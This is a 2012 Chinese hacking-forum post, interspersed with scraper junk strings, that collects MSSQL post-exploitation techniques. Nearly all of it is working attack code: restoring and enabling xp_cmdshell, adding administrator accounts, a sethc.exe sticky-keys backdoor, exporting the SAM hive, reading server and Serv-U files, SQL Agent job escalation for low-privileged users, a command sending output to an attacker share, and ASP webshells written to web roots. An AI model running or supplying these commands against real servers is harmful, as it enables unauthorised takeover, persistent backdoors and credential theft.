中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
. J. N$ ~! J/ R7 V5 k1 a( ?
恢复方法:查询分离器连接后,
3 J% ]* \6 c7 B, d
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
* N+ ]# R9 y' ^% v4 m
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 q' K0 a4 o% M' E
然后按F5键命令执行完毕
; p6 v0 r3 v: z+ L- {8 Z5 d1 U
# i& ^2 _8 o& d) S. U
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
, l/ R% i* X% C
恢复方法:查询分离器连接后,
; u9 ?/ Y( S1 @6 Z) N
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
% J& A1 B. F: O e
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
g& ]+ Y, b5 K C! c8 D
然后按F5键命令执行完毕
# K% {% k& N' s# F
$ h/ e. |! y7 G
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
/ ^/ x1 g: \$ |7 ~1 a
恢复方法:查询分离器连接后,
6 u& F' s0 B$ ~2 `
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
! J9 _0 U7 _, \; z. R/ s; A
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
- O( O% z( l! y1 |- D
然后按F5键命令执行完毕
5 N. r7 y9 v! G7 A, Z! h, [) ^' @
! P A$ C4 x) q' f2 I/ b: N
4 终极方法.
+ L4 ?' N0 j+ C, S
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
4 T- v; D- A6 g' l8 f7 y
查询分离器连接后,
# d# O: C# M& m, a$ A( O. r" P
2000servser系统:
, _( N% E% t# ?# v+ _
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
7 v- e! g3 Q+ t
3 f1 C0 Y# Q& _4 v) r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
3 D. ]" d. s* ^1 U+ R
; T, @1 j" R* b/ p# c0 q
xp或2003server系统:
& t9 |5 H& g4 Y* W/ u, |
( c$ t) V2 m: U9 P4 O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
* O- @' P5 f+ J B
9 T7 L" M. @) c$ V5 K2 l' Y! Z, h
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% B2 v2 W9 b$ u$ Q; _2 l4 _
5 _5 k* ~, d; U' m8 Y1 O, i
' t* n% }; _3 s! x8 ?# N- @
五个SHIFT
- M! g/ f0 R% B. l+ r+ @, U
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
* c% P- t! F3 ]1 J" F
! \" t8 a7 ?/ _* n) ^
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2 A! ~3 h8 T3 P3 B& q) i& M
/ X# L' h+ O- L% Y- R1 x
xp_cmdshell执行命令另一种方法
, q( ~1 [$ Y" u8 D' F0 J+ ^
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
. s1 b# R% H, o! o6 ~
# h V7 ?) M+ c7 U& M ~( _
判断存储扩展是否存在
, M7 J; {( S9 y
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
+ z% Q! z1 x4 K6 p9 W6 |; A" {
返回结果为1就OK
3 W! b: z! |) y
* P( X i, Q9 c& u, T6 `. P+ K
3 e6 q0 i+ |$ B: Q
上传xplog70.dll恢复xp_cmdshell语句:
$ k9 l: _4 e" j" i/ s$ u
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
' [' W8 Q& e# n$ R! S+ R y4 G
; m, S: C8 J$ Q6 j1 I3 T, r( G7 m
否则上传xplog7.0.dll
9 R W* N) U: o' @6 b$ H5 z7 E
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
* c! U/ ^ a, E, B/ E7 u; Z
1 y: Y0 w! e& ^; l1 W( P9 c
& k: b" O2 q( q0 }
5 M. q4 }. T8 _
首先开启沙盘模式:
2 M3 |0 Y5 L) }& }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" d8 H0 d1 l1 \7 G, U- n/ p1 H. F
* ~5 F( U9 P9 X7 Z4 p4 O$ S
然后利用jet.oledb执行系统命令
2 I, c) Z( C: n) r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
, z: k9 d) O% |
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
, F8 k7 _2 ]6 t! D, {) B1 ?
* e" Y X" E) h
1 V+ c! \2 v2 G! P( |3 Y* d
6 K5 f. J5 o ^8 ?$ y+ c- z
恢复过程sp_addextendedproc 如下:
/ \4 {" T; W) F: }, O# L
create procedure sp_addextendedproc --- 1996/08/30 20:13
, r0 X# w7 x2 i9 U. U
@functname nvarchar(517),/* (owner.)name of function to call */
7 b' @% N* L) \ e, o6 {# f8 p
@dllname varchar(255)/* name of DLL containing function */
/ A; `8 g; @. X* u* H
as
& ]: y6 A q& O1 V# E9 X
set implicit_transactions off
7 E& |- I' i) T, h
if @@trancount > 0
2 F' |: d7 X- Q" @/ Y
begin
& w$ A0 e% T1 ~& a/ `4 k& W0 g; ?5 V" x
raiserror(15002,-1,-1,'sp_addextendedproc')
N/ b" z' l7 W* K/ T% z
return (1)
v# x' z! M* n' W
end
5 f1 `7 c" O" e' x8 I
dbcc addextendedproc( @functname, @dllname)
& o& d0 [) B8 Y
return (0) -- sp_addextendedproc
, l* H+ I0 l5 R2 B+ R5 [
GO
, Z% x/ h, W- u6 L' b( i6 `; G/ d
! {% y1 v( z7 t/ Q
2 x* [3 H6 M5 C
% y; C3 I$ m! q# `' M
导出管理员密码文件
" K$ H" n5 z0 [+ ]/ ^+ Q2 @) l
sa默认可以读sam键.应该。
$ _2 E; g6 a3 ?4 g
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
" W( j0 t+ A+ ~
net user administrator test
! F# p- ^% K3 x( h
用administrator登陆.
! U' i4 V9 W- T B
用完机器后
, A" e& ~7 N" ^
reg import c:\test.reg
. `4 A4 b2 U( ^
根本不用克隆.
6 s0 v2 |! C1 V; r
找到对应的sid.
+ }5 S7 l$ v- B! v0 c# ], v4 n
4 G) o0 r4 w5 Z L8 k
: V/ k% t; ?; K3 Z8 Y1 A# Q7 B! i
; z# W' A6 g d. `+ ~' b/ x6 Y- n
恢复所有存储过程
& v( U3 Y+ V( ]5 x! y S9 W
use master
: E2 Q8 I9 P7 p
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
$ Q; i" v# q5 A6 D5 a) w% V5 q6 v
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 r) g7 k# a* p
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
7 q$ F8 K$ G3 D7 c0 ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
+ w; R2 j) b- n+ l* @) D7 x1 M
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
1 h F4 g, o2 b- H. d! e5 f N
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
: E! n/ k$ ] C8 [1 [
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
3 ]) L, t1 {' n3 D: e
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
6 A7 r: Q+ B! m6 K9 L
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
# S% N5 i' b0 _9 P
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
0 L4 ~; o3 y- v! ?& @+ p
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
4 `# k" b* g7 ?. c0 E
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
0 f3 @1 H$ j; ]
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
, m8 O2 ?7 T' A$ v5 O; S c
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
/ I6 L3 K7 O. E# }5 m
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
7 U/ S8 n; G1 l
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
* t3 l4 m' ?$ y9 ?
exec sp_addextendedproc xp_regread,'xpstar.dll'
- F* l* Q) q/ i
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
8 X) }2 I8 {* k9 R- ^
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
0 P! [ J3 r" z
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
$ o- x5 O# } h
2 ^9 F8 j' ?& |; K% p1 d5 s# Q5 G4 `
4 s% g5 j9 T' Z' R, x- a5 g6 L E
建立读文件的存储过程
# B( ]5 s% c: o# t
Create proc sp_readTextFile @filename sysname
+ i5 P. ?$ _) }& J, r4 x4 Z
as
1 q& @! o, Z7 R, L5 R
# ~- I5 K& N' g: t, b7 \0 P
begin
) c9 g2 ^9 y* [9 N+ R& l" Y
set nocount on
4 N. \ \; G4 a0 l- |; ~+ y
Create table #tempfile (line varchar(8000))
: A G2 ?1 O/ Z$ r. d" `' H) f( ^
exec ('bulk insert #tempfile from "' + @filename + '"')
2 o, j3 F5 s& w0 S! n5 I9 [
select * from #tempfile
# P8 \+ Q) _0 L* z7 v3 Z
drop table #tempfile
: | o1 w$ w+ S! ]6 o" @5 [2 ?
End
8 ]% n! D( m4 s! B; Z( A6 o4 \. _
' `: [: N+ o9 V. U$ v
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
2 `8 H0 Y. `. p4 A9 J% e
查看登录用户
6 L' s! l5 W9 z6 l2 u5 O" ]
Select * from sysxlogins
( h. G" l# T0 Y( @
: q/ h _, t% c4 `& t
把文件内容读取到表中
7 b& i2 y# p9 R( Q
BULK INSERT tmp from "c:\test.txt"
8 I! w0 I/ B# B' G/ R
dElete from 表名 清理表里的内容
" k b0 ^3 n0 U+ M
create table b_test(fn nvarchar(4000));建一个表,字段为fn
2 @% T5 q0 I) F F' |% o
7 U9 f/ g5 K9 h8 _. J( C
- o- _% ?# t$ C5 p. N. @, P8 r
加sa用户
! |" A2 e+ n4 t8 X6 `9 ^; O
exec master.dbo.sp_addlogin user,pass;
5 ?7 T1 y) Q7 f
exec master.dbo.sp_addsrvrolemember user,sysadmin
: u, z. b; p9 J6 ^: }! ]
4 c/ D. ^: g. f6 d, L3 s
* y2 @* S/ h6 K7 R3 Z
6 I4 E2 |' N) a' Y
读文件代码
7 C- k( Q2 @: {3 G1 ?5 h9 }# h! L
declare @o int, @f int, @t int, @ret int
5 s$ U+ N% c& Y/ C9 n c+ v6 W
declare @line varchar(8000)
/ {7 \* ~5 m1 ^- X' W' y: {
exec sp_oacreate 'scripting.filesystemobject', @o out
; g( \- E' H$ A1 t, T, t9 R
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
" a2 L7 q# f$ _! F# I
exec @ret = sp_oamethod @f, 'readline', @line out
2 ^& s }% C- \3 I
while( @ret = 0 )
3 W* B: F, o G
begin
! B5 A( Y: {; Z5 ~" s
print @line
3 n# }* z4 x) P; u' M
exec @ret = sp_oamethod @f, 'readline', @line out
1 e9 Q* b7 `4 I5 Q+ J, O+ b
end
% |+ X r9 n) G$ E1 ^$ d
5 |8 |& T. C# |" m4 E3 U3 o; u
6 d M6 j! c ?: {
写文件代码:
0 Z8 ?* O4 o. q
declare @o int, @f int, @t int, @ret int
7 Z7 ~0 \+ c* Q7 w) [- z
exec sp_oacreate 'scripting.filesystemobject', @o out
# H$ X4 W# e& u9 T% U4 h0 z7 [+ Q
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
+ Y" U# f# k0 {0 u
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
6 a, x. e! T; f# G X
+ S+ f9 ^( z$ t6 @9 P; _% T1 Y
; M" s1 \7 E3 w+ |) f# l" h
添加lake2 shell
6 x% M, N& i6 ], T! q/ E+ Z$ ?7 b
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
; D* M) A: v3 Z; H: S& `- R
sp_dropextendedproc xp_lake2
5 l3 A5 H% i( m) x; v
EXEC xp_lake2 'net user'
" ~! x9 \0 P, Q6 o/ g& E
5 m, i8 A( f, [
6 L! s/ z3 Z. ~
得到硬盘文件信息
! E7 Z$ K' n4 c9 S. w
--参数说明:目录名,目录深度,是否显示文件
. r2 ]6 H. R% `; B5 g" H: r- X
execute master..xp_dirtree 'c:'
8 O% X9 w1 T1 \0 P& l! s3 z1 F" P* M
execute master..xp_dirtree 'c:',1
& @% p5 k0 |, c; o0 @: q
execute master..xp_dirtree 'c:',1,1
/ O& s) l. v% V+ R; f$ r! N
7 }. ?$ B0 r+ S- L5 I3 d
( w) p9 G0 P$ v% B* r1 W4 i
读serv-u配置信息
2 I ^" |! f4 Y. N6 T! i
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
1 _8 J5 ]0 C, x$ c
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
% r4 g8 x2 ^" w: o
5 b, [% A E& L
通过xp_regwrite写SHIFT后门
5 n$ E; i8 ^4 L/ O3 j$ m; `/ F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
% h# {, H/ b: g6 H( `
9 n% y2 n0 i! H) ~
' w" }( T7 {0 R! Y9 t! }5 F, G
6 r: n0 w: Y5 l. I3 [1 ~ v
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
1 t+ Y- m5 u- q# m2 ]+ ]% a0 V4 D
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
( S0 C2 X$ T- f D* D
" p; H! P$ l+ j& {( W# T
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
& y7 ?8 I* P; _9 O! X- y7 I
9 R( ^: v2 t# G! k0 ^. w
7 s/ t+ @' e4 \+ R8 c* T* E
4 I% W2 N4 X1 M" o1 S
sql server 2005下开启xp_cmdshell的办法
7 ~' j0 b* x3 j: ?
- ]& @, x, @0 T# |9 ?
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 T9 Z! @0 _0 \9 N7 v" I! p. _6 j; n
$ \9 E- e6 j$ [5 g
SQL2005开启'OPENROWSET'支持的方法:
0 c7 A- }- e9 O% w0 G1 y9 b
8 \( t9 r; G! d G- Y
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
7 P5 G& }* R: `9 _+ O' E. I3 v: a
/ M' v' k. A5 B! L# i8 }# u
SQL2005开启'sp_oacreate'支持的方法:
6 w. a1 x& ^5 a! { x2 h8 O9 [% l
; V' C$ L! }+ o/ B, K
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 X$ I2 t0 B7 _* b0 v* s* K3 |( h
6 b" d- C; G) p% Y. F8 O
- V9 _1 o5 Z( n# g. |; K9 o
$ z/ _/ u1 w. [- G! u
/ o' k5 H9 l. ^( F0 ?7 I( R
7 u' M3 t4 h+ a2 N, l, m/ P
4 s# e) l% d- H, x- E
3 y& G& {" \% @) p* p
# ]# J1 _6 D, I3 ]
0 @0 c9 K5 J" Y
0 w( h) F( S' ]
8 n# Z. W$ E# U
+ u4 o) p& P8 v& S0 N, c' s( z2 e
7 m* A* Q' Y% O" F+ \8 x6 N
" C( Z3 O1 L3 \9 A
. \- g t% F+ s8 @
2 r8 F/ l; q' O9 L" u6 I7 @
' ]& O c, i( I
! C* a8 y. `6 Z* M; E6 s
. |+ G; V$ q1 S1 ~3 _
0 G/ n! [( K; c( A" n$ w
4 p r- C5 B2 H* u6 S
5 q' O# S. |8 ?7 l. v
$ w# A$ ]5 N5 i2 I
! }. I9 ?: H1 y; H7 x
以下方面不知道能不能成功暂且留下研究哈:
% j; m. G1 b% x) r& {) s v6 W$ H4 u
4)
+ I5 K6 d; X, C$ F) h
use msdb; --这儿不要是master哟
* |( J) B% S! ^
exec sp_add_job @job_name= czy82 ;
8 H2 c% p. E9 _
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
9 `) B/ x3 N( c$ K. _
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
7 z8 a, a& b* U" e2 X) U" N1 k
exec sp_start_job @job_name= czy82 ;
! B* m. K* u2 ^5 ?! n
. m9 f, |3 U5 D# I
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
" x! y" s/ @2 R0 ?) T- y5 |
执行tsql语句了.
0 P% Y8 q4 g" N7 Q1 f6 G: D
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
( A+ u# Z- ~1 N# n. t5 i& O2 u4 O
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
$ C$ u ~4 N& q
net start SQLSERVERAGENT
2 o0 ]! S4 a% y% ]+ b) D
: x6 G a! Z8 t( F) n' H
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
* [1 K P8 c( q
USE msdb
% n _% P9 |/ k& V6 c7 B5 c) _# ?' @
EXEC sp_add_job @job_name = GetSystemOnSQL ,
1 _0 r- E% H1 Q/ T% [* `
@enabled = 1,
2 R7 ]: ~' J1 Z: w% K9 Z) r
@description = This will give a low privileged user access to
+ _5 u; M2 Q9 I3 I- f
xp_cmdshell ,
# q r. j4 r, F
@delete_level = 1
- [+ w: I. N* C( L- V) L, \5 \/ ^
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
! P$ y1 ^# i0 V5 j3 C
@step_name = Exec my sql ,
5 c9 W6 c) C9 J/ W1 E8 p
@subsystem = TSQL ,
! x- F% U4 D5 ?$ W
@command = exec master..xp_execresultset N select exec
9 a2 W) d* ?/ y! g2 Y
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
0 Q2 u2 _1 i; X( c
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
' V K; Z$ r% Q! c- X, j
@server_name = 你的SQL的服务器名
3 {0 r4 b% B0 z' ^
EXEC sp_start_job @job_name = GetSystemOnSQL
* p, v2 U7 [$ Q( [
. Q3 ]5 k& J* U9 j- A- _
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
1 o. d% w/ f' V6 G. Y' D$ B
才让我们可以以public执行xp_cmdshell
& B; F6 v8 @6 b0 i# ^- f6 _5 X
+ v* ^+ {/ A: p/ d9 p Q
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
0 d4 B( |6 [* \3 \
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
, F5 @2 G5 w; @* v9 L
& S* m" ~+ V0 Z6 v" ^, W2 I
USE msdb
: k! c' }$ ~7 L6 e- Z$ X. `
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
+ L3 U0 a0 l/ a2 _' Q5 n. ~* H
@enabled = 1,
: V$ r: c2 q) L+ {0 B7 T
@description = This will create a file called c:\sqlafc123.txt ,
6 P" a; g5 K. x; V4 _
@delete_level = 1
; C4 Z0 g% \4 s$ J
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
* }. H) D( k" ]9 e! @, K3 n7 z) s
@step_name = SQLAFC ,
4 q% ]! d7 F7 W! x
@subsystem = TSQL ,
. C, L+ w! a7 Z3 b# A% @$ O
@command = select hello, this file was created by the SQL Agent. ,
# W: I9 a1 Z( Q/ Y5 t; ~
@output_file_name = c:\sqlafc123.txt
( r4 c0 }8 g$ m( D) M$ }
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
% Z) k- l+ b# f7 l7 x3 Y
@server_name = SERVER_NAME
: q; ?, F/ _8 g& J. Y, L8 n
EXEC sp_start_job @job_name = ArbitraryFilecreate
3 e2 D. Z, Q* z* X+ \- p
/ h* I% `( M; `8 g
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
& P9 Q2 h# C) r4 B. P- U
$ n) T; L: |8 b [* O2 {! m
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
5 b5 S: }4 ]8 R! k- _7 `' P
----------------------------------------------
* y$ |0 Q9 A7 Y2 j3 R0 I3 h& Y
hello, this file was created by the SQL Agent.
# o0 X- ~2 S, X" i7 C% S1 V
( ` l* h' m2 Z6 f I! \& W
(1 ?????)
% m% I: U3 x( H K5 b9 L, w
6 y; M+ h; c+ u) d
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
3 }* T( Q8 z$ m& o
命令的vbs文件到启动目录!
1 q$ ~$ H$ I# \: }1 Y4 l3 G
6 C* d+ [; y# j$ S1 V: P |
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
! s0 ?1 S, K' L) r2 C7 n! P0 n
关于sp_MScopyscriptfile 看下面的例子
$ s1 I5 Y9 S5 ?1 ~7 S/ W
declare @command varchar(100)
; n- _7 t/ {8 i) b( D
declare @scripfile varchar(200)
3 B/ T9 G: i+ w/ z& h
set concat_null_yields_null off
: I4 J ]2 l1 t2 k+ J6 J3 [! W+ l& F
select @command= dir c:\ > "\\attackerip\share\dir.txt"
V0 b) g4 U( l2 [
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
' M5 v1 G# Z# T3 _$ X3 C
exec sp_MScopyscriptfile @scripfile ,
4 ?! C8 l/ I! R& r# t. z
+ C2 ?$ D1 w7 n9 ?
这两个东东都还在测试试哟
9 Q0 O1 n9 ~2 \( q0 a1 Y) w
让MSSQL的public用户得到一个本机的web shell
3 v& c) p6 l* K) `' i. }
' m" U$ O2 h. _2 r* C& J
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
5 _) t. A% ]' C7 b& Q! L) j
--@query= select <img src=vbscript:msgbox(now())>
4 h. F; V( A3 C
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
- ~9 o5 U# E$ ?- {
@query= select
; Q$ H9 P( u( z7 `
<%On Error Resume Next
2 q0 H8 C Q5 X# M1 [, U
Set oscript = Server.createObject("wscript.SHELL")
- ]( W9 T2 i# c' f5 w
Set oscriptNet = Server.createObject("wscript.NETWORK")
* |7 \: Y- D" w D! I- S& G* U
Set oFileSys = Server.createObject("scripting.FileSystemObject")
9 ~. n7 X/ F4 D% m# v( V* ?; x8 k
szCMD = Request.Form(".CMD")
2 J7 x1 n4 W( y+ Y u n0 L- _
If (szCMD <>"")Then
2 b) v0 I/ z8 w. v& ?. ?+ a
szTempFile = "C:\" & oFileSys.GetTempName()
& k. B9 n$ `8 H3 `$ t# x6 V1 ?# S
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
) j+ Q+ M$ T% C% \1 O3 k5 o
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
, H5 O! Q" O1 t) K9 n; K
End If %>
( l9 l2 {+ _. P/ ]8 |5 I% R" z
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
2 \/ c/ f' }8 j# E# O/ K3 k
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
( \8 \, W+ c* ^$ D8 `# X/ ]- u' f
</FORM><
RE>
/ t: @4 Z* O0 n9 d# F( w+ `6 A
<% If (IsObject(oFile))Then
& p. F3 c+ G( a' s' ~
On Error Resume Next
5 {+ q, R4 M1 s8 d1 d
Response.Write Server.HTMLEncode(oFile.ReadAll)
. Y7 k' p; D5 x2 f+ Q. H: S/ e
oFile.Close
- y7 I3 c" n- A7 Z
Call oFileSys.deleteFile(szTempFile, True)
8 z# B0 G$ T+ ?1 o+ W
End If%>
, \; d! [5 W8 m. k
</BODY></HTML>
& C$ `8 p6 Z$ l4 n
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2